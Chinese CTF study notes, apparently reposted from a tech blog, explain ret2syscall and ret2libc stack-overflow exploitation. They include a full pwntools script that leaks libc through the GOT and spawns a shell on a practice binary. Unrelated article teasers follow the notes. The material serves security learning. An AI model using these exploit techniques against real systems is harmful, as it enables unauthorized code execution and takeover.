CTF-PWN方向 栈溢出等基础知识笔记(2)

C语言基本函数补充

write函数

ret2syscall

要求有0x80这种系统调用存在  (0x0A是回车的意思)

案例

通过file查看这个文件 发现是静态编译的文件 所以很多库函数都被编译进去了

但是不存在bin/sh字符串 不存在system和backdoor函数

修改,read的第一个参数为0 标准输入为0 标准输出为1 标准错误输出为2

系统调用需要用到的寄存器

通过ROPgadget工具来查找 int 0x80

ROPgadget --binary xxxx | grep "int 0x80"

通过ROPgadget来查找getshell所需要的片段 但是这个工具找不到int 0x80 ret 其它可以找到

可以通过ropper去查找

参考exp

bss字段是一个可读可写的地址 sleep(1)是为了避免程序输入过快 两个p.sendline怕同时发过去 给程序一点执行的时间  在执行的过程中 第一个int_0x80触发系统调用read 我们将第二次的p.sendling的内容也就是/bin/sh发给read写入到bss段中 之后完毕以后程序继续执行第一次发送的payload的后续内容 一步一步通过execve去执行bss段的内容也就是/bin/sh 从而getshell

ret2libc

一般思路:找到libc的基地址,再根据偏移找到system函数的地址

system和read函数在同一个libc中,所以运行以后找到read的真实地址,同时结合已知的偏移地址计算出基地址,用这个基地址去计算想要的函数的真实地址即可。

对于NX保护的情况 libc表中存放了偏移地址 got表存放了函数的真实地址

案例

got表中会存储已经执行过的函数的地址

参考exp:

exp2:

exp3:

借助idd找到lib的具体地址 之后将地址加载带ELF后面即可

如果是远程比赛的时候 将libc下载下来即可

from pwn import *
file_path='./level1'
context(log_level = 'debug',arch='i386',os='linux')
elf=ELF(file_path)
p=process('./level1')
#system_plt = elf.plt['system']
libc=ELF("/lib/i386-linux-gnu/libc.so.6")write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x080484B7payload = b'a'*0x88 + b'b'*0x4 +p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
p.sendafter("?",payload)
p.recvuntil('\n')
read_addr = u32(p.recv(4))
libc_base = read_addr - libc.symbols['read']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a'*0x88+b'b'*0x4+p32(system)+p32(main_addr)+p32(binsh)
p.send(payload2)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/56301.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

纯手柄控制电脑(且不用插鼠标而使用虚拟鼠标)

前言 因电脑升级后,旧主机就作为客厅游戏机使用了,于是想尽量减少设备的插入,单纯的每次只拔插手柄这一项外设就行,于是需要两大步骤即可到位。 安装JoyXoff 一、官网下载并直接安装:JoyXoff 二、默认开机自启&…

【环境搭建】远程服务器搭建ElasticSearch

参考: 非常详细的阿里云服务器安装ElasticSearch过程..._阿里云服务器使用elasticsearch-CSDN博客 服务器平台:AutoDL 注意: 1、切换为非root用户,su 新用户名,否则ES无法启动 2、安装过程中没有出现设置账号密码…

AD9361 在低至 1MHz 的频率下运行

AD9361 在低至 1MHz 的频率下运行 AD -FREQCVT1-EBZ是包含AD9361的FMCOMMS3/4/5板的附加板。虽然完整的芯片级设计包可在此 RF 收发器的ADI产品页面上找到,但有关此卡的信息及其使用方法、围绕它的设计包以及可使其工作的软件可在此处找到。 AD-FREQCVT1-EBZ 模块…

山西农业大学20241015

02-VUE 一. Vue中常用的指令1. Vue指令概述2 Vue中指令的分类3 Vue中指令3.1 内容渲染指令3.2 条件渲染指令3.2.1 v-show3.2.2 v-if3.2.3 v-else 和 v-else-if 3.3 事件绑定指令 v-on--重要3.3.1 内联语句3.3.2 methods中的函数名 一. Vue中常用的指令 1. Vue指令概述 概念: 指…

安装Node.js环境,安装vue工具

一、安装Node.js 去官方网站自行安装自己所需求的安装包 这是下载的官方网站 下载 | Node.js 中文网 给I accept the terms in the License Agreement打上勾然后点击Next 把安装包放到自己所知道的位置,后面一直点Next即可 等待它安装好 然后winr打开命令提示符cmd 二、安装…

MySQL中表的约束

1,概念 表中一定要有各种约束,通过约束,让我们来插入数据库中的数据是符合预期的。 约束本质是通过技术手段,倒逼程序员插入正确的数据;反过来,站在MySQL的角度来单,内部已经插进来的数据&…

YOLOv11改进策略【卷积层】| ParNet 即插即用模块 二次创新C3k2

一、本文介绍 本文记录的是利用ParNet中的基础模块优化YOLOv11的目标检测网络模型。 ParNet block是一个即插即用模块,能够在不增加深度的情况下增加感受野,更好地处理图像中的不同尺度特征,有助于网络对输入数据更全面地理解和学习,从而提升网络的特征提取能力和分类性能…

Web安全 - 跨站点请求伪造CSRF(Cross Site Request Forgery)

文章目录 OWASP 2023 TOP 10CSRF 导图CSRF的基本概念CSRF的工作原理常见CSRF攻击模式CSRF防御策略补充建议应用场景实战防御策略选择1. CSRF Token(首选)2. SameSite Cookie属性3. 验证Referer和Origin4. 多因素认证 实现方案CSRF Token实现SameSite Coo…

(39)MATLAB生成高斯脉冲及其频谱

文章目录 前言一、MATLAB仿真代码二、仿真结果画图 前言 高斯脉冲在通信中是很重要的调制符号波形,本文使用MATLAB生成高斯脉冲,并使用FFT变换给出其频谱。 一、MATLAB仿真代码 代码如下: % 信号参数 fs 100; % 采样…

自注意力机制self-attention中的KV 缓存

在自注意力机制中,KV 缓存(Key-Value Caching)主要用于加速模型在推理阶段的计算,尤其是在处理长序列或者生成任务(如文本生成)时,这种缓存机制可以显著提高效率。 1. KV 缓存的背景 在 Trans…

【Vercel】Vercel部署项目遇到的问题

部署问题1&#xff1a; 问题详情 部署提示报错&#xff0c;vite的命令找不到 13:18:21.159 13:18:21.160npm error This is an error with npm itself. Please report this error at: 13:18:21.160npm error 13:18:221.16 npm error A complete l <https://github.com/np…

【自动驾驶汽车通讯协议】I2C(IIC)总线通讯技术详解

文章目录 0. 前言1. I2C简介2.I2C的工作原理2.1 硬件要求&#xff1a;2.2 半双工通信&#xff1a; 3. 通信时序4. 其他特性4.1 通信速率4.2 抗干扰措施4.3 注意事项 5. 在自动驾驶汽车中的应用5.1 I2C操作模式5.2 I2C的用途 6. 总结 0. 前言 按照国际惯例&#xff0c;首先声明&…

Java—类和对象习题讲解

如果您觉得这篇文章对您有帮助的话 欢迎您一键三连&#xff0c;小编尽全力做到更好 欢迎您分享给更多人哦 目录 习题一&#xff1a; 习题二&#xff1a; 习题三&#xff1a;.import static 能够导入一些静态方法 习题四&#xff1a; 习题五&#xff1a; 习题六&#xff1…

【刷题册】2024.10.13 - 2024.10.15

目录 一、2024.10.131.1 BC153 [NOIP2010]数字统计1.2 NC313 两个数组的交集1.2.1 思路一&#xff1a;暴力O(N^2)1.2.2 思路二&#xff1a;hash 1.3 AB5 点击消除 二、2024.10.142.1 BC64⽜⽜的快递2.2 DP4 最⼩花费爬楼梯2.3 数组中两个字符串的最⼩距离 三、2024.10.153.1 BC…

Visual Studio Code基础:使用debugpy调试python程序

相关阅读 VS codehttps://blog.csdn.net/weixin_45791458/category_12658212.html?spm1001.2014.3001.5482 一、安装调试器插件 在VS code中可以很轻松地调试Python程序&#xff0c;首先需要安装Python调试器插件&#xff0c;如图1所示。 图1 安装调试器插件 Python Debugge…

Redis --- 第四讲 --- 常用数据结构 --- Hash、List

一、Hash哈希类型的基本介绍。 哈希表&#xff1a;之前学过的所有数据结构中&#xff0c;最最重要的。 1、日常开发中&#xff0c;出场频率非常高。 2、面试中&#xff0c;非常重要的考点。 Redis自身已经是键值对结构了。Redis自身的键值对就是通过哈希的方式来组织的。把…

导致动态代理无法使用的原因有哪些?

在动态代理的应用过程中&#xff0c;有时会遇到其无法正常使用的情况。这种现象可能源于多种原因&#xff0c;从网络配置到软件设置&#xff0c;了解和解决这些问题对保持代理的高效运行至关重要。本文将详细探讨导致动态代理无法使用的主要原因及对策&#xff0c;以帮助用户及…

16年408计算机网络

第一题&#xff1a; 解析&#xff1a; 首先我们要清楚R1,R2,R3是路由器&#xff08;网络层&#xff09;&#xff0c;Switch是以太网交换机&#xff08;数据链路层&#xff09;&#xff0c;Hub是集线器&#xff08;物理层&#xff09;。 由此可见路由器实现的最高功能层是3层&am…

如何利用phpstudy创建mysql数据库

phpStudy诞生于2007年&#xff0c;是一款老牌知名的PHP开发集成环境工具&#xff0c;产品历经多次迭代升级&#xff0c;目前有phpStudy经典版、phpStudy V8&#xff08;2019版&#xff09;等等&#xff0c;利用phpstudy可以快速搭建一个mysql环境&#xff0c;接下来我们就开始吧…

apifox发送请求,参数类型为枚举类

背景 使用apifox模拟前端发送请求时&#xff0c;对于string、int等基本类型直接选择就ok了&#xff0c;但是后端controller的参数是枚举类的时候&#xff0c;我就有点蒙了&#xff0c;不知道应该发送什么过去&#xff0c;apifox也不可能有咱们自定义的枚举类 解决 实际上&am…